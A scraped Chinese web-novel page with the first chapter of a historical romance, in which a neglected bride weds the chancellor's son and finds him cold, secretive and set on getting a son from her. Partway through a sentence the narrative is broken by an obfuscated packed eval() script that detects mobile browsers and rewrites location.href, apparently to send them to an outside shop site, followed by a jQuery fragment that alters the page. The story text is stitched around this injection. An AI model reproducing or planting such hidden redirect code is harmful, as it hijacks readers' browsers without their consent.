默认冷灰
24号文字
方正启体

1. 红烛灭

作者:珞玉槃本书字数:K更新时间:
    汴京城的十里红妆,从翰林学士府一路铺到相府门前。


    万人空巷,半座城都在议论这桩婚事——相府嫡独子司马瑜,娶了翰林学士江知忠的嫡长女。有人说这是天作之合,有人说是高攀低就,还有人说,这门亲事来得蹊跷。


    烛花摇影,良宵在即。整日喧阗渐歇,方入洞房之正章。


    江含辞端坐在红帐里,盘金绣龙凤喜帕盖住了她不安的面容。一袭绿罗销金大袖喜服上,鎏金雪梅在烛光下微微泛光——这是赶工补出来的杰作,原本那件,在婚礼前三日被继妹江含钰剪毁了。


    嫁妆也被克扣了数成。继母杜氏做得很漂亮,面上的“十里红妆”不过是个虚架子,箱笼里大半是些不值钱的填充物。


    桩桩件件,无不令她悬心。


    更令她不安的是——相府为何要娶她?


    她自幼失恃,又不得父亲宠爱,在翰林府不过是个可有可无的长女。相府这样的人家,什么样的贵女求不到?偏生相府执意要她,任继母百般举荐继妹,媒人都不为所动。


    这桩婚事,从始至终透着一股说不清道不明的蹊跷。


    门外传来嘈杂声。


    “小姐,许是姑爷来了。”侍女水碧小声提醒。


    门“吱呀”一声被推开。喧闹声陡地涌进喜房,忽又随着手忙脚乱的掩门声戛然而止。


    新郎的脚步声有深有浅,显然是醉意已重。透过喜帕边缘,含辞看到一双乌皮靴带着绯色官服朝自己摇摇晃晃地走来。水碧道个万福递上喜秤,司马瑜挑开了喜帕。


    扑面而来的酒气让她下意识侧了侧身。


    她抬起头,看见她的新郎——头戴簪着品红宫花的展脚幞头,身着绯色官服,面如傅粉,浓厚的眉毛下,一双瑞凤眼含着迷醉的神色。


    是个神采英拔的人物。


    含辞悬着的心放下一截。司马瑜二十四岁便进了正六品的户部郎中,相貌又如此俊朗——是她这个不得宠的翰林府长女有福了。


    司马瑜似乎也对新娘的美色颇为满意。烛光下,她肤如凝脂,面若桃花,眉如轻烟,杏眸流光,左眼角那颗浅红的痣更添几分风情。丰腴的朱唇微微上翘,浮着一个羞涩的笑。


    他微微仰头咧嘴一笑,含辞看到了他下排的骈齿,心头微微一恙:美中不足。


    喜烛高照,洞房良宵。


    宾客散去,侍女们退下。含辞攥紧了锦被,等着那不可避免的一刻。


    司马瑜却翻了个身,面朝外侧躺下去。


    “二爷?”含辞试探着唤了一声。


    回应她的只有均匀而厚重的呼吸声。


    她愣在那里,手指在锦被下攥紧又松开。新婚之夜,新郎与她同床共枕,却一清二白。


    她松一口气,又悬起一颗心。


    说不清的滋味。


    她翻了个身,将脸埋进枕中,脑中却愈发清明。远处传来更鼓声,一下一下,沉闷而悠远。她听着那声音,只觉得这偌大的相府,处处都是陌生的气息。


    一夜无眠。


    翌日一早,云嬷嬷带着水碧、霜月前来伺候。


    云嬷嬷是含辞生母的陪嫁嬷嬷,遵着托孤之命将含辞带大,又陪着她出嫁。虽是主仆,却胜似血浓于水的亲人。


    看到含辞独自躺在黄花梨雕福寿夔龙架子床上,眼神空洞,云嬷嬷满心不忍。她上前握住含辞的手,压低声音:


    “小姐,姑爷当日是铁了心来求娶你的。任夫人怎么托情举荐二小姐,他都不为所动。来日方长,千万不可心灰意冷。”


    云嬷嬷的手粗糙而温暖,那是几十年操劳留下的印记。含辞握着那只手,像小时候从噩梦中惊醒时一样,心里稍稍安定了些。


    含辞没有说话。


    她也想告诉自己——来日方长。可那个连新婚之夜都不愿碰她的男人,真的会有“来日”吗?


    数典堂里,一对新人向相爷和夫人请安。


    相爷司马熠不苟言笑,对儿子一番勉励后便离去。相爷夫人倒是个菩萨相,满面的慈爱,嘱托的多是“早日开枝散叶”。


    相爷夫人命取来一套金镶玉草虫头面送给新妇,堂嫂杜芳蕊殷勤接来送到含辞手上,满面溢笑道,“这套头面是婶婶的体己物,足见婶婶多疼弟妹了。”


    杜芳蕊瘦削精干,原是富户家的长女,如今代相爷夫人持家。她拉着含辞的手赞不绝口:“弟妹这才貌放在汴京城确是数一数二,难怪二爷当日那般坚决。”


    坚决?


    含辞心中一动。


    她有什么值得司马瑜“坚决”求娶的?


    堂弟媳钱芩冷不丁冒出一句:“江內翰家的女公子,嫁妆单子也是殷实得很呢。”


    含辞面上一赧。嫁妆的事,果然被人盯上了。


    相爷夫人顿时敛住笑意:“此事不准提起。”


    杜芳蕊眼明嘴快,对着钱芩抬手一扬帕子,笑道:“三弟妹怕不是饿着肚子犯头晕说浑话”,又忙请相爷夫人的示下去张罗早膳。


    相爷夫人面上依旧慈和,只轻轻扫了杜芳蕊一眼,那目光里带着几分赞许,也带着几分了然。含辞看在眼里,心中微微一凛——这位婆母,怕也不是面上那般简单。


    回房后,霜月一五一十把早上的经历说给云嬷嬷听。


    “今儿的事,小姐怎么看?”云嬷嬷含着笑慢慢问道。


    含辞端起茶盏,却不喝茶,一双晶莹的眸子望向茜纱窗外的几丛芭蕉。


    “相府三房里,大房和三房都是在光州老家颐养的大老爷那支的,只有二爷是相爷与老夫人的独子。但二爷公事繁忙,府里的田产铺子由大堂哥照料,中馈由堂嫂主持。堂弟是捐的进武副尉,堂弟媳是光州知县得宠的幼女。这两房,尤其是大房,总归要担心婆母日后将掌家大权交到我手上。”


    她抿了一口茶,继续道:“堂嫂为人滴水不漏,又深得婆母信任,我自然要步步留


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450165|201165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心。至于堂弟媳——她又不掌家,怎知我的嫁妆单子?准是堂嫂在她面前说的。”


    “小姐心里有数就好。”云嬷嬷点头笑道,“嫁妆的事,既然相府老夫人和姑爷都没有追究,后面再想法子。”


    这夜快三更时,司马瑜才回房。


    含辞早已睡下,忽觉一阵窸窣声伴着一阵寒意。迷糊中见司马瑜爬上床来,她一下便惊醒了。


    “二爷回来了。”她的声音有些发紧。


    “夜深了,睡吧。”司马瑜一句话便把今夜的安排做了交待。


    又是一夜无话。


    如是数日。司马瑜夜夜回房,对含辞相敬如宾——除了房里那点事,简直教人挑不出不好来。


    就连回门之时,司马瑜对岳丈岳母亦是恭敬有加;对使性子的继妹江含钰,与那厚颜求姐夫照拂的继弟江含钦,也是一概宽厚相待,真真一副贤夫良婿的做派。怕是教继母杜氏暗地里恨得咬碎了牙。


    含辞便慢慢淡了心。也许有的夫妻就是这样,表面上举案齐眉过下去,也是好的。娘家情分只有如此,婆家总得有容身之处。不然,她又如何立足?


    转眼快到花朝节,相府少不得要到大相国寺上香和做法事。相爷夫人便让含辞帮着杜芳蕊料理。


    夜里,司马瑜忽然提前回房,遣走下人。


    含辞心里慌张,不知他有什么要紧事。


    “夫人,这次大相国寺法会你让堂嫂安排便是。我已经回了母亲,说你身体不宜操劳。”司马瑜说道,见含辞满面疑惑,又道,“我们还有大事要办。”


    “什么大事?”


    司马瑜凝视着她,一字一句道——


    “你得给我生个儿子。”


    这句话如一记闷锤砸在含辞心头。成婚数月,她仍是完璧之身——他明知如此,却说出这样的话。怎么生?拿什么生?


    她的脸刷地红了,手指在袖中不自觉地攥紧,指甲掐进掌心。


    司马瑜却没有再多说,只丢下一句“我自有安排”,便起身离去。走到门口,他忽然停步,侧头看了含辞一眼。那目光里没有温度,像在看一件趁手的工具。


    脚步声消失在门外,含辞独自坐在灯下,胸口那记闷锤还未散去,又压上一块巨石。


    他究竟要做什么?


    荒唐的试探,还是有什么见不得人的隐情?


    她忽然想起云嬷嬷的话——“姑爷当日是铁了心来求娶你的”。


    铁了心。这三个字此刻想来,竟透着一股说不出的寒意。他求娶她,不是为了情,不是为了貌,而是为了……一个儿子?


    含辞攥紧了手中的帕子,心中那点刚冒头的期冀,像烛火被风吹灭,彻底熄了。


    她不知道司马瑜要做什么。但她隐隐觉得,这场婚姻,从始至终,都是一盘她看不见的棋局。


    而她,不是执棋的人,甚至连观棋的资格都没有——她只是那颗被随意摆弄的棋子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)